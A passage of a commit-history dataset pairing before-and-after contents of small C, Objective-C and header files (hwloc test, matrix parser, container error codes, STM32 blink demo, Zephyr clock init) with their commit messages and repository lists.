/gpdb,greenplum-db\/gpdb,arcivanov\/postgres-xl"}
{"commit":"fadc5f679f9aae27b623c95f91208b2f139e089e","old_file":"tests\/embedded\/main.c","new_file":"tests\/embedded\/main.c","old_contents":"\/*\n * Copyright © 2009 CNRS, INRIA, Université Bordeaux 1\n * Copyright © 2009 Cisco Systems, Inc.  All rights reserved.\n * See COPYING in top-level directory.\n *\/\n\n#include <hwloc.h>\n#include <stdio.h>\n\nint main(int argc, char *argv[])\n{\n    mytest_hwloc_topology_t topology;\n    unsigned depth;\n    hwloc_cpuset_t cpu_set;\n\n    \/* Just call a bunch of functions to see if we can link and run *\/\n\n    cpu_set = mytest_hwloc_cpuset_alloc();\n    mytest_hwloc_topology_init(&topology);\n    mytest_hwloc_topology_load(topology);\n    depth = mytest_hwloc_topology_get_depth(topology);\n    printf(\"Max depth: %u\\n\", depth);\n    mytest_hwloc_topology_destroy(topology);\n    mytest_hwloc_cpuset_free(cpu_set);\n\n    return 0;\n}\n","new_contents":"\/*\n * Copyright © 2009 CNRS, INRIA, Université Bordeaux 1\n * Copyright © 2009 Cisco Systems, Inc.  All rights reserved.\n * See COPYING in top-level directory.\n *\/\n\n#include <hwloc.h>\n#include <stdio.h>\n\nint main(int argc, char *argv[])\n{\n    mytest_hwloc_topology_t topology;\n    unsigned depth;\n    hwloc_cpuset_t cpu_set;\n\n    \/* Just call a bunch of functions to see if we can link and run *\/\n\n    printf(\"*** Test 1: cpuset alloc\\n\");\n    cpu_set = mytest_hwloc_cpuset_alloc();\n    printf(\"*** Test 2: topology init\\n\");\n    mytest_hwloc_topology_init(&topology);\n    printf(\"*** Test 3: topology load\\n\");\n    mytest_hwloc_topology_load(topology);\n    printf(\"*** Test 4: topology get depth\\n\");\n    depth = mytest_hwloc_topology_get_depth(topology);\n    printf(\"    Max depth: %u\\n\", depth);\n    printf(\"*** Test 5: topology destroy\\n\");\n    mytest_hwloc_topology_destroy(topology);\n    printf(\"*** Test 6: cpuset free\\n\");\n    mytest_hwloc_cpuset_free(cpu_set);\n\n    return 0;\n}\n","subject":"Add some more print statements to this test, ju...","message":"Add some more print statements to this test, ju...\n\nAdd some more print statements to this test, just to help\ndifferentiate the output when debugging is enabled\n\nThis commit was SVN r1752.\n","lang":"C","license":"bsd-3-clause","repos":"ggouaillardet\/hwloc,shekkbuilder\/hwloc,shekkbuilder\/hwloc,ggouaillardet\/hwloc,ggouaillardet\/hwloc,shekkbuilder\/hwloc,ggouaillardet\/hwloc,shekkbuilder\/hwloc"}
{"commit":"a13c9cb6fcb83f58c111ec35cfe629e74cff13c3","old_file":"main.c","new_file":"main.c","old_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <time.h>\n#include \"julina.h\"\n\nint main(int argc, char **argv) {\n    srand(time(NULL));\n\n    double aa[] = {2, 0, 1,\n                   -2, 3, 4,\n                   -5, 5, 6};\n    Matrix *a = new_matrix(aa, 3, 3);\n    Matrix *ain = inverse(a);\n\n    double bb[] = {1, -1, -2,\n                   2, 4, 5,\n                   6, 0, -3};\n    Matrix *b = new_matrix(bb, 3, 3);\n    Matrix *bin = inverse(b);\n\n    print_matrix(a);\n    if (ain == ERR_SINGULAR_MATRIX_INVERSE) {\n        printf(\"Inverse of singular matrix.\\n\");\n    } else {\n        print_matrix(ain);\n    }\n\n    print_matrix(b);\n    if (bin == ERR_SINGULAR_MATRIX_INVERSE) {\n        printf(\"Inverse of singular matrix.\\n\");\n    } else {\n        print_matrix(bin);\n    }\n\n    free_matrix(a);\n    free_matrix(ain);\n    free_matrix(b);\n    free_matrix(bin);\n}\n","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <time.h>\n#include \"julina.h\"\n\n#define VARIABLE_START 'A'\n#define VARIABLE_COUNT 26\nstatic Matrix *variables[VARIABLE_COUNT];\n\nMatrix *get_variable(int c) {\n    if (c < 0 || c >= VARIABLE_COUNT) {\n        return NULL;\n    }\n    return variables[c - VARIABLE_START];\n}\n\n\/\/ Returns -1 on failure, 0 on success.\nint set_variable(int c, Matrix *a) {\n    if (c < 0 || c >= VARIABLE_COUNT) {\n        return -1;\n    }\n    variables[c - VARIABLE_START] = a;\n    return 0;\n}\n\n\/*\n * Format:\n * 3 2 : 1 2 3 4 5 6\n * Yields:\n * [[1 2]\n *  [3 4]\n *  [5 6]]\n *\/\nMatrix *read_matrix(char *s) {\n    int rows, cols, size;\n    rows = strtol(s, &s, 10);\n    cols = strtol(s, &s, 10);\n    size = rows * cols;\n    double aa[size];\n    s += 3; \/\/ space colon space\n    int i;\n    for (i = 0; i < size; i++) {\n        aa[i] = strtol(s, &s, 10);\n    }\n    return new_matrix(aa, rows, cols);\n}\n\nint main(int argc, char **argv) {\n    srand(time(NULL));\n\n    Matrix *a = read_matrix(\"6 1 : 1 0 0 0 0 1\");\n    print_matrix(a);\n    free_matrix(a);\n}\n","subject":"Add variables and reading from string.","message":"Add variables and reading from string.\n","lang":"C","license":"mit","repos":"jlubi333\/Julina"}
{"commit":"27caed992cd71fa50dcb6576b31f8a25b4611bee","old_file":"src\/include\/uapi\/libct-errors.h","new_file":"src\/include\/uapi\/libct-errors.h","old_contents":"#ifndef __LIBCT_ERRORS_H__\n#define __LIBCT_ERRORS_H__\n\/*\n * This file contains errors, that can be returned from various\n * library calls\n *\/\n\n\/* Generic *\/\n#define LCTERR_BADCTSTATE\t-2\t\/* Bad container state *\/\n#define LCTERR_BADFSTYPE\t-3\t\/* Bad FS type *\/\n#define LCTERR_BADNETTYPE\t-4\t\/* Bad Net type *\/\n#define LCTERR_BADOPTION\t-5\t\/* Bad option requested *\/\n\n\/* RPC-specific ones *\/\n#define LCTERR_BADCTRID\t\t-42\t\/* Bad container remote ID given *\/\n#define LCTERR_BADCTRNAME\t-43\t\/* Bad name on open *\/\n#define LCTERR_RPCUNKNOWN\t-44\t\/* Remote problem , but err is not given *\/\n#define LCTERR_RPCCOMM\t\t-45\t\/* Error communicating via channel *\/\n\n#endif \/* __LIBCT_ERRORS_H__ *\/\n","new_contents":"#ifndef __LIBCT_ERRORS_H__\n#define __LIBCT_ERRORS_H__\n\/*\n * This file contains errors, that can be returned from various\n * library calls\n *\/\n\n\/*\n * -1 is \"reserved\" for generic \"something went wrong\" result\n * since this value can be (well, is) widely explicitly used\n * all over the code.\n *\/\n\n\/* Generic *\/\n#define LCTERR_BADCTSTATE\t-2\t\/* Bad container state *\/\n#define LCTERR_BADFSTYPE\t-3\t\/* Bad FS type *\/\n#define LCTERR_BADNETTYPE\t-4\t\/* Bad Net type *\/\n#define LCTERR_BADOPTION\t-5\t\/* Bad option requested *\/\n\n\/* RPC-specific ones *\/\n#define LCTERR_BADCTRID\t\t-42\t\/* Bad container remote ID given *\/\n#define LCTERR_BADCTRNAME\t-43\t\/* Bad name on open *\/\n#define LCTERR_RPCUNKNOWN\t-44\t\/* Remote problem , but err is not given *\/\n#define LCTERR_RPCCOMM\t\t-45\t\/* Error communicating via channel *\/\n\n#endif \/* __LIBCT_ERRORS_H__ *\/\n","subject":"Add comment about \"reserved\" -1 value","message":"err: Add comment about \"reserved\" -1 value\n\nSigned-off-by: Pavel Emelyanov <c9a32589e048e044184536f7ac71ef92fe82df3e@parallels.com>\n","lang":"C","license":"apache-2.0","repos":"LK4D4\/libct,avagin\/libct,xemul\/libct,cyrillos\/xemul-libct,xemul\/libct,cyrillos\/xemul-libct,LK4D4\/libct,hallyn\/libct,cyrillos\/xemul-libct,xemul\/libct,xemul\/libct,cyrillos\/xemul-libct,hallyn\/libct,avagin\/libct,avagin\/libct,hallyn\/libct,LK4D4\/libct"}
{"commit":"3790101271d3fb24db76257b9ac491e7b6d4c4e4","old_file":"CPDAcknowledgements\/CPDStyle.h","new_file":"CPDAcknowledgements\/CPDStyle.h","old_contents":"@import Foundation;\n\nNS_ASSUME_NONNULL_BEGIN\n\n\/\/\/ Allows you to customize the style for the the view\n\/\/\/ controllers for your libraries.\n\n@interface CPDStyle : NSObject\n\n\/\/\/ HTML provided to the view controller, it's nothing too fancy\n\/\/\/ just a string which has a collection of string replacements on it.\n\/\/\/\n\/\/\/ This is the current default:\n\/\/\/ <html><head>{{STYLESHEET}}<meta name='viewport' content='width=device-width'><\/head><body>{{HEADER}}<p>{{BODY}}<\/p><\/body><\/html>\n\n@property (nonatomic, copy) NSString * _Nullable libraryHTML;\n\n\/\/\/ CSS for styling your library\n\/\/\/\n\/\/\/ This is the current default:\n\/\/\/ <style> body{ font-family:HelveticaNeue; font-size: 14px; padding:12px; -webkit-user-select:none; }\n\/\/ #summary{ font-size: 18px; }\n\/\/ #version{ float: left; padding: 6px; }\n\/\/ #license{ float: right; padding: 6px; } .clear-fix { clear:both };\n\/\/ <\/style>\n\n@property (nonatomic, copy) NSString * _Nullable libraryCSS;\n\n\/\/\/ HTML specifically for showing the header information about a library\n\/\/\/\n\/\/\/ This is the current default\n\/\/\/ <p id='summary'>{{SUMMARY}}<\/p><p id='version'>{{VERSION}}<\/p><p id='license'>{{SHORT_LICENSE}}<\/p> <br class='clear-fix' \/>\n\n@property (nonatomic, copy) NSString * _Nullable libraryHeaderHTML;\n\n@end\n\nNS_ASSUME_NONNULL_END","new_contents":"@import Foundation;\n\nNS_ASSUME_NONNULL_BEGIN\n\n\/\/\/ Allows you to customize the style for the the view\n\/\/\/ controllers for your libraries.\n\n@interface CPDStyle : NSObject\n\n\/\/\/ HTML provided to the view controller, it's nothing too fancy\n\/\/\/ just a string which has a collection of string replacements on it.\n\/\/\/\n\/\/\/ This is the current default:\n\/\/\/ <html><head>{{STYLESHEET}}<meta name='viewport' content='width=device-width'><\/head><body>{{HEADER}}<p>{{BODY}}<\/p><\/body><\/html>\n\n@property (nonatomic, copy) NSString * _Nullable libraryHTML;\n\n\/\/\/ CSS for styling your library\n\/\/\/\n\/\/\/ This is the current default:\n\/\/\/ <style> body{ font-family:HelveticaNeue; font-size: 14px; padding:12px; -webkit-user-select:none; }\n\/\/ #summary{ font-size: 18px; }\n\/\/ #version{ float: left; padding: 6px; }\n\/\/ #license{ float: right; padding: 6px; } .clear-fix { clear:both };\n\/\/ <\/style>\n\n@property (nonatomic, copy) NSString * _Nullable libraryCSS;\n\n\/\/\/ HTML specifically for showing the header information about a library\n\/\/\/\n\/\/\/ This is the current default\n\/\/\/ <p id='summary'>{{SUMMARY}}<\/p><p id='version'>{{VERSION}}<\/p><p id='license'>{{SHORT_LICENSE}}<\/p> <br class='clear-fix'>\n\n@property (nonatomic, copy) NSString * _Nullable libraryHeaderHTML;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","subject":"Fix 'HTML start tag prematurely ended' warning","message":"Fix 'HTML start tag prematurely ended' warning\n","lang":"C","license":"mit","repos":"CocoaPods\/CPDAcknowledgements"}
{"commit":"6bd246f7dc75101536a89c6b4ff776a05d8efb50","old_file":"ST_HW_HC_SR04.h","new_file":"ST_HW_HC_SR04.h","old_contents":"\/*\n#\n# ST_HW_HC_SR04.h\n#\n# (C)2016-2017 Flávio monteiro\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n*\/\n\n#ifndef ST_HW_HC_SR04\n#define ST_HW_HC_SR04\n\n#include \"Arduino.h\"\n\nclass ST_HW_HC_SR04 {\n    public:\n        ST_HW_HC_SR04(byte triggerPin, byte echoPin);\n        ST_HW_HC_SR04(byte triggerPin, byte echoPin, unsigned long timeout);\n        void setTimeout(unsigned long timeout);\n        void setTimeoutToDefaultValue();\n        unsigned long getTimeout();\n        int getHitTime();\n\n    private:\n        byte triggerPin;\n        byte echoPin;\n        unsigned long timeout;\n\n        void triggerPulse();\n};\n\n#endif\n","new_contents":"\/*\n#\n# ST_HW_HC_SR04.h\n#\n# (C)2016-2017 Flávio monteiro\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n*\/\n\n#ifndef ST_HW_HC_SR04_H\n#define ST_HW_HC_SR04_H\n\n#include \"Arduino.h\"\n\nclass ST_HW_HC_SR04 {\n    public:\n        ST_HW_HC_SR04(byte triggerPin, byte echoPin);\n        ST_HW_HC_SR04(byte triggerPin, byte echoPin, unsigned long timeout);\n        void setTimeout(unsigned long timeout);\n        void setTimeoutToDefaultValue();\n        unsigned long getTimeout();\n        int getHitTime();\n\n    private:\n        byte triggerPin;\n        byte echoPin;\n        unsigned long timeout;\n\n        void triggerPulse();\n};\n\n#endif\n","subject":"Fix include guard conflicting with the class name","message":"Fix include guard conflicting with the class name\n","lang":"C","license":"mit","repos":"Spaguetron\/ST_HW_HC_SR04"}
{"commit":"bcba02f9fd5018f781631a25f53e0a8f432ed229","old_file":"libs\/incs\/ac_bits.h","new_file":"libs\/incs\/ac_bits.h","old_contents":"","new_contents":"\/*\n * Copyright 2015 Wink Saville\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef SADIE_LIBS_INCS_AC_BITS_H\n#define SADIE_LIBS_INCS_AC_BITS_H\n\n#define AC_BIT(type, n) (((type)1) << n)\n\n#endif\n","subject":"Add AC_BITS to convert a bit number 0..N-1 to a mask.","message":"Add AC_BITS to convert a bit number 0..N-1 to a mask.\n","lang":"C","license":"apache-2.0","repos":"winksaville\/sadie,winksaville\/sadie"}
{"commit":"6be828419968fa1f105f7362832b4eafb2157ab6","old_file":"proctor\/include\/pcl\/proctor\/proposer.h","new_file":"proctor\/include\/pcl\/proctor\/proposer.h","old_contents":"#ifndef PROPOSER_H\n#define PROPOSER_H\n\n#include <boost\/shared_ptr.hpp>\n#include <vector>\n#include <map>\n#include \"proctor\/detector.h\"\n#include \"proctor\/database_entry.h\"\n\nnamespace pcl\n{\n\n  namespace proctor\n  {\n\n    struct Candidate {\n      std::string id;\n      float votes;\n    };\n\n    class Proposer {\n      public:\n        typedef boost::shared_ptr<Proposer> Ptr;\n        typedef boost::shared_ptr<const Proposer> ConstPtr;\n\n        typedef boost::shared_ptr<std::map<std::string, Entry> > DatabasePtr;\n        typedef boost::shared_ptr<const std::map<std::string, Entry> > ConstDatabasePtr;\n\n        Proposer()\n        {}\n\n        void\n        setDatabase(const DatabasePtr database)\n        {\n          database_ = database;\n        }\n\n        virtual void\n        getProposed(int max_num, Entry &query, std::vector<std::string> &input, std::vector<std::string> &output) = 0;\n\n        virtual void\n        selectBestCandidates(int max_num, vector<Candidate> &ballot, std::vector<std::string> &output);\n\n      protected:\n        DatabasePtr database_;\n    };\n\n  }\n}\n\n#endif\n","new_contents":"#ifndef PROPOSER_H\n#define PROPOSER_H\n\n#include <boost\/shared_ptr.hpp>\n#include <vector>\n#include <map>\n#include \"proctor\/detector.h\"\n#include \"proctor\/database_entry.h\"\n\nnamespace pcl\n{\n\n  namespace proctor\n  {\n\n    struct Candidate {\n      std::string id;\n      double votes;\n    };\n\n    class Proposer {\n      public:\n        typedef boost::shared_ptr<Proposer> Ptr;\n        typedef boost::shared_ptr<const Proposer> ConstPtr;\n\n        typedef boost::shared_ptr<std::map<std::string, Entry> > DatabasePtr;\n        typedef boost::shared_ptr<const std::map<std::string, Entry> > ConstDatabasePtr;\n\n        Proposer()\n        {}\n\n        void\n        setDatabase(const DatabasePtr database)\n        {\n          database_ = database;\n        }\n\n        virtual void\n        getProposed(int max_num, Entry &query, std::vector<std::string> &input, std::vector<std::string> &output) = 0;\n\n        virtual void\n        selectBestCandidates(int max_num, vector<Candidate> &ballot, std::vector<std::string> &output);\n\n      protected:\n        DatabasePtr database_;\n    };\n\n  }\n}\n\n#endif\n","subject":"Change votes to use double.","message":"Change votes to use double.\n\ngit-svn-id: 1af002208e930b4d920e7c2b948d1e98a012c795@4320 a9d63959-f2ad-4865-b262-bf0e56cfafb6\n","lang":"C","license":"bsd-3-clause","repos":"psoetens\/pcl-svn,psoetens\/pcl-svn,psoetens\/pcl-svn,psoetens\/pcl-svn,psoetens\/pcl-svn"}
{"commit":"59ea31827fd5fde1f5a5899a186e6fa18c65d83e","old_file":"Firmware\/GPIO\/main.c","new_file":"Firmware\/GPIO\/main.c","old_contents":"#include <stm32f4xx.h>\n#include <stm32f4xx_gpio.h>\n\nvoid delay(uint32_t count)\n{\n\twhile(count--);\n}\n\nvoid init_GPIO()\n{\n\tGPIO_InitTypeDef GPIO_InitStruct = {\n\t\t.GPIO_Pin = GPIO_Pin_12 | GPIO_Pin_13 | GPIO_Pin_14 | GPIO_Pin_15,\n\t\t.GPIO_Mode = GPIO_Mode_OUT,\n\t\t.GPIO_Speed = GPIO_Speed_50MHz,\n\t\t.GPIO_OType =GPIO_OType_PP,\n\t\t.GPIO_PuPd = GPIO_PuPd_DOWN\n\t};\n\n\tRCC_AHB1PeriphClockCmd(RCC_AHB1Periph_GPIOD, ENABLE);\n\n\tGPIO_Init(GPIOD, &GPIO_InitStruct);\n}\n\nint main()\n{\n\tinit_GPIO();\n\n\tGPIO_SetBits(GPIOD, GPIO_Pin_12);\n\n\treturn 0;\n}\n","new_contents":"#include <stm32f4xx.h>\n#include <stm32f4xx_gpio.h>\n\nvoid delay(uint32_t count)\n{\n\twhile(count--);\n}\n\nvoid init_GPIO()\n{\n\tGPIO_InitTypeDef GPIO_InitStruct = {\n\t\t.GPIO_Pin = GPIO_Pin_12 | GPIO_Pin_13 | GPIO_Pin_14 | GPIO_Pin_15,\n\t\t.GPIO_Mode = GPIO_Mode_OUT,\n\t\t.GPIO_Speed = GPIO_Speed_50MHz,\n\t\t.GPIO_OType =GPIO_OType_PP,\n\t\t.GPIO_PuPd = GPIO_PuPd_DOWN\n\t};\n\n\tRCC_AHB1PeriphClockCmd(RCC_AHB1Periph_GPIOD, ENABLE);\n\n\tGPIO_Init(GPIOD, &GPIO_InitStruct);\n}\n\nint main()\n{\n\tinit_GPIO();\n\n\tint digitStatus = 1;\n\n\twhile(1) {\n\t\tGPIO_WriteBit(GPIOD, GPIO_Pin_12, digitStatus);\n\t\tdelay(1000000L);\n\t\tGPIO_WriteBit(GPIOD, GPIO_Pin_13, digitStatus);\t\n\t\tdelay(1000000L);\n\t\tGPIO_WriteBit(GPIOD, GPIO_Pin_14, digitStatus);\n\t\tdelay(1000000L);\n\t\tGPIO_WriteBit(GPIOD, GPIO_Pin_15, digitStatus);\n\t\tdelay(1000000L);\n\n\t\tdigitStatus = (digitStatus + 1) % 2;\n\t}\n\n\treturn 0;\n}\n","subject":"Add the blink effect to the GPIO demo","message":"Add the blink effect to the GPIO demo\n","lang":"C","license":"mit","repos":"PUCSIE-embedded-course\/stm32f4-examples,shengwen1997\/stm32_pratice,PUCSIE-embedded-course\/stm32f4-examples,shengwen1997\/stm32_pratice,PUCSIE-embedded-course\/stm32f4-examples,PUCSIE-embedded-course\/stm32f4-examples,shengwen1997\/stm32_pratice,PUCSIE-embedded-course\/stm32f4-examples,PUCSIE-embedded-course\/stm32f4-examples,PUCSIE-embedded-course\/stm32f4-examples,shengwen1997\/stm32_pratice"}
{"commit":"7b6feece93869c598a44f03470e2a1d7c5eac9b9","old_file":"PHPHub\/Constants\/APIConstant.h","new_file":"PHPHub\/Constants\/APIConstant.h","old_contents":"\/\/\n\/\/  APIConstant.h\n\/\/  PHPHub\n\/\/\n\/\/  Created by Aufree on 9\/30\/15.\n\/\/  Copyright (c) 2015 ESTGroup. All rights reserved.\n\/\/\n\n#define APIAccessTokenURL [NSString stringWithFormat:@\"%@%@\", APIBaseURL, @\"\/oauth\/access_token\"]\n#define QiniuUploadTokenIdentifier @\"QiniuUploadTokenIdentifier\"\n\n#if DEBUG\n#define APIBaseURL      @\"https:\/\/staging_api.phphub.org\"\n#else\n#define APIBaseURL      @\"https:\/\/api.phphub.org\"\n#endif\n\n#define PHPHubHost      @\"phphub.org\"\n#define PHPHubUrl       @\"https:\/\/phphub.org\/\"\n#define GitHubURL       @\"https:\/\/github.com\/\"\n#define TwitterURL      @\"https:\/\/twitter.com\/\"\n#define ProjectURL      @\"https:\/\/github.com\/phphub\/phphub-ios\"\n#define AboutPageURL    @\"https:\/\/phphub.org\/about\"\n#define ESTGroupURL     @\"http:\/\/est-group.org\"\n#define PHPHubGuide     @\"https:\/\/phphub.org\/guide\"\n#define SinaRedirectURL @\"http:\/\/sns.whalecloud.com\/sina2\/callback\"","new_contents":"\/\/\n\/\/  APIConstant.h\n\/\/  PHPHub\n\/\/\n\/\/  Created by Aufree on 9\/30\/15.\n\/\/  Copyright (c) 2015 ESTGroup. All rights reserved.\n\/\/\n\n#define APIAccessTokenURL [NSString stringWithFormat:@\"%@%@\", APIBaseURL, @\"\/oauth\/access_token\"]\n#define QiniuUploadTokenIdentifier @\"QiniuUploadTokenIdentifier\"\n\n#if DEBUG\n#define APIBaseURL      @\"https:\/\/staging_api.phphub.org\"\n#else\n#define APIBaseURL      @\"https:\/\/api.phphub.org\"\n#endif\n\n#define PHPHubHost      @\"phphub.org\"\n#define PHPHubUrl       @\"https:\/\/phphub.org\/\"\n#define GitHubURL       @\"https:\/\/github.com\/\"\n#define TwitterURL      @\"https:\/\/twitter.com\/\"\n#define ProjectURL      @\"https:\/\/github.com\/phphub\/phphub-ios\"\n#define AboutPageURL    @\"https:\/\/phphub.org\/about\"\n#define ESTGroupURL     @\"http:\/\/est-group.org\"\n#define PHPHubGuide     @\"https:\/\/phphub.org\/helps\/qr-login-guide\"\n#define SinaRedirectURL @\"http:\/\/sns.whalecloud.com\/sina2\/callback\"","subject":"Change QR login guide url","message":"Change QR login guide url\n","lang":"C","license":"mit","repos":"Aufree\/phphub-ios"}
{"commit":"92165a2024a4285f9df8a92fbfe19c91d77e74b4","old_file":"Inc\/project_config.h","new_file":"Inc\/project_config.h","old_contents":"#ifndef _PROJECT_CONFIG_H_\n#define _PROJECT_CONFIG_H_\n\n#ifdef USART_DEBUG \/\/ this happens by 'make USART_DEBUG=1'\n#undef THERMAL_DATA_UART\n#else\n#define USART_DEBUG\n#define THERMAL_DATA_UART\n#endif\n#define TMP007_OVERLAY\n#define SPLASHSCREEN_OVERLAY\n#define ENABLE_LEPTON_AGC\n\/\/ #define Y16\n\n#ifndef Y16\n\/\/ Values from LEP_PCOLOR_LUT_E in Middlewares\/lepton_sdk\/Inc\/LEPTON_VID.h\n#define PSUEDOCOLOR_LUT LEP_VID_FUSION_LUT\n#endif\n\n#ifndef USART_DEBUG_SPEED\n#define USART_DEBUG_SPEED (921600)\n#endif\n\n#define WHITE_LED_TOGGLE  (HAL_GPIO_TogglePin(GPIOA, GPIO_PIN_6))\n\n\n\n#endif\n\n\n","new_contents":"#ifndef _PROJECT_CONFIG_H_\n#define _PROJECT_CONFIG_H_\n\n#ifdef USART_DEBUG \/\/ this happens by 'make USART_DEBUG=1'\n#undef THERMAL_DATA_UART\n#else\n#define USART_DEBUG\n\/\/ #define THERMAL_DATA_UART\n#endif\n#define TMP007_OVERLAY\n#define SPLASHSCREEN_OVERLAY\n#define ENABLE_LEPTON_AGC\n\/\/ #define Y16\n\n#ifndef Y16\n\/\/ Values from LEP_PCOLOR_LUT_E in Middlewares\/lepton_sdk\/Inc\/LEPTON_VID.h\n#define PSUEDOCOLOR_LUT LEP_VID_FUSION_LUT\n#endif\n\n#ifndef USART_DEBUG_SPEED\n#define USART_DEBUG_SPEED (921600)\n#endif\n\n#define WHITE_LED_TOGGLE  (HAL_GPIO_TogglePin(GPIOA, GPIO_PIN_6))\n\n\n\n#endif\n\n\n","subject":"Disable THERMAL_DATA_UART by default. This is a big CPU sink, and is a pretty non-standard config.","message":"Disable THERMAL_DATA_UART by default. This is a big CPU sink, and is a pretty non-standard config.\n","lang":"C","license":"mit","repos":"groupgets\/purethermal1-firmware,groupgets\/purethermal1-firmware,groupgets\/purethermal1-firmware,groupgets\/purethermal1-firmware"}
{"commit":"e8938694357e4048322aae1819bea29c8ba59223","old_file":"drivers\/timer\/sys_clock_init.c","new_file":"drivers\/timer\/sys_clock_init.c","old_contents":"\/*\n * Copyright (c) 2015 Wind River Systems, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/**\n * @file\n * @brief Initialize system clock driver\n *\n * Initializing the timer driver is done in this module to reduce code\n * duplication.  Although both nanokernel and microkernel systems initialize\n * the timer driver at the same point, the two systems differ in when the system\n * can begin to process system clock ticks.  A nanokernel system can process\n * system clock ticks once the driver has initialized.  However, in a\n * microkernel system all system clock ticks are deferred (and stored on the\n * kernel server command stack) until the kernel server fiber starts and begins\n * processing any queued ticks.\n *\/\n\n#include <nanokernel.h>\n#include <init.h>\n#include <drivers\/system_timer.h>\n\nSYS_INIT(_sys_clock_driver_init,\n#ifdef CONFIG_MICROKERNEL\n\tMICROKERNEL,\n#else\n\tNANOKERNEL,\n#endif\n\tCONFIG_SYSTEM_CLOCK_INIT_PRIORITY);\n","new_contents":"\/*\n * Copyright (c) 2015 Wind River Systems, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/**\n * @file\n * @brief Initialize system clock driver\n *\n * Initializing the timer driver is done in this module to reduce code\n * duplication.  Although both nanokernel and microkernel systems initialize\n * the timer driver at the same point, the two systems differ in when the system\n * can begin to process system clock ticks.  A nanokernel system can process\n * system clock ticks once the driver has initialized.  However, in a\n * microkernel system all system clock ticks are deferred (and stored on the\n * kernel server command stack) until the kernel server fiber starts and begins\n * processing any queued ticks.\n *\/\n\n#include <nanokernel.h>\n#include <init.h>\n#include <drivers\/system_timer.h>\n\nSYS_INIT(_sys_clock_driver_init, NANOKERNEL, CONFIG_SYSTEM_CLOCK_INIT_PRIORITY);\n","subject":"Revert \"sys_clock: start the microkernel ticker in the MICROKERNEL init level\"","message":"Revert \"sys_clock: start the microkernel ticker in the MICROKERNEL init level\"\n\nThis reverts commit 3c66686a43ffa78932aaa6b1e2338c2f3d347a13.\n\nThat commit fixed announcing ticks before the microkernel was up, but\nprevented devices initializing before the MICROKERNEL level from having\naccess to the hi-res part of the system clock, which they could not poll\nanymore.\n\nChange-Id: Ia1c55d482e63d295160942f97ebc8e8afd1e8315\nSigned-off-by: Benjamin Walsh <578db18f23ec223e50c404886c947386478a464e@windriver.com>\n","lang":"C","license":"apache-2.0","repos":"runchip\/zephyr-cc3220,holtmann\/zephyr,kraj\/zephyr,fractalclone\/zephyr-riscv,sharronliu\/zephyr,galak\/zephyr,zephyrproject-rtos\/zephyr,nashif\/zephyr,zephyriot\/zephyr,fractalclone\/zephyr-riscv,bigdinotech\/zephyr,pklazy\/zephyr,erwango\/zephyr,mirzak\/zephyr-os,mbolivar\/zephyr,runchip\/zephyr-cc3200,aceofall\/zephyr-iotos,galak\/zephyr,explora26\/zephyr,nashif\/zephyr,punitvara\/zephyr,galak\/zephyr,rsalveti\/zephyr,finikorg\/zephyr,mbolivar\/zephyr,mbolivar\/zephyr,pklazy\/zephyr,rsalveti\/zephyr,mbolivar\/zephyr,ldts\/zephyr,GiulianoFranchetto\/zephyr,coldnew\/zephyr-project-fork,kraj\/zephyr,mirzak\/zephyr-os,coldnew\/zephyr-project-fork,bboozzoo\/zephyr,punitvara\/zephyr,zephyriot\/zephyr,erwango\/zephyr,punitvara\/zephyr,nashif\/zephyr,tidyjiang8\/zephyr-doc,runchip\/zephyr-cc3200,kraj\/zephyr,bigdinotech\/zephyr,runchip\/zephyr-cc3200,bboozzoo\/zephyr,bboozzoo\/zephyr,runchip\/zephyr-cc3200,ldts\/zephyr,runchip\/zephyr-cc3220,tidyjiang8\/zephyr-doc,punitvara\/zephyr,galak\/zephyr,finikorg\/zephyr,tidyjiang8\/zephyr-doc,GiulianoFranchetto\/zephyr,zephyrproject-rtos\/zephyr,aceofall\/zephyr-iotos,Vudentz\/zephyr,finikorg\/zephyr,bboozzoo\/zephyr,sharronliu\/zephyr,32bitmicro\/zephyr,erwango\/zephyr,aceofall\/zephyr-iotos,holtmann\/zephyr,bboozzoo\/zephyr,runchip\/zephyr-cc3220,punitvara\/zephyr,runchip\/zephyr-cc3220,sharronliu\/zephyr,holtmann\/zephyr,Vudentz\/zephyr